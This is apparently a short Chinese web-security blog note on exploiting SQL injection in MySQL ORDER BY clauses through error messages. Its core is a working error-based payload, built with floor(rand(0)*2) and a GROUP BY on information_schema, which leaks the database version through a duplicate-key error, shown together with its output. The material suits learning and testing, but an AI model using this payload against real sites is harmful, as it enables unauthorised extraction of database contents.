mysql order by类型注射利用笔记 - 网站安全

mysql order by类型注射利用笔记 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] order by的注射也发生在表名的注射等的好处是一般不需要考虑magic_quotes_gpc等因素的影响,网上搜了下有一些盲注的利用方法,自己也测试了一下,发现可以直接利用mysql报错来注射,干净利落...

order by的注射也发生在表名的注射等的好处是一般不需要考虑magic_quotes_gpc等因素的影响,网上搜了下有一些盲注的利用方法,自己也测试了一下,发现可以直接利用mysql报错来注射,干净利落啊,写出来记录一下,权当滥竽充数吧.

mysql> select * from user order by (SELECT 1 from (select count(*),concat(floor(rand(0)*2),

(substring((select(version())),1,62)))a from information_schema.tables group by a)b);

ERROR 1062 (23000): Duplicate entry '15.1.41-3ubuntu12.10' for key 'group_key'

作者：c4rp3nt3r@0x50sec.org

腾讯邮箱储存型xss复现利用及修复 - 网站安全

HTML5安全：CORS（跨域资源共享）简介 - 网站安全

子栏目

mysql order by类型注射利用笔记 - 网站安全 - 自学

最新评论

添加评论

更多文章推荐

添加评论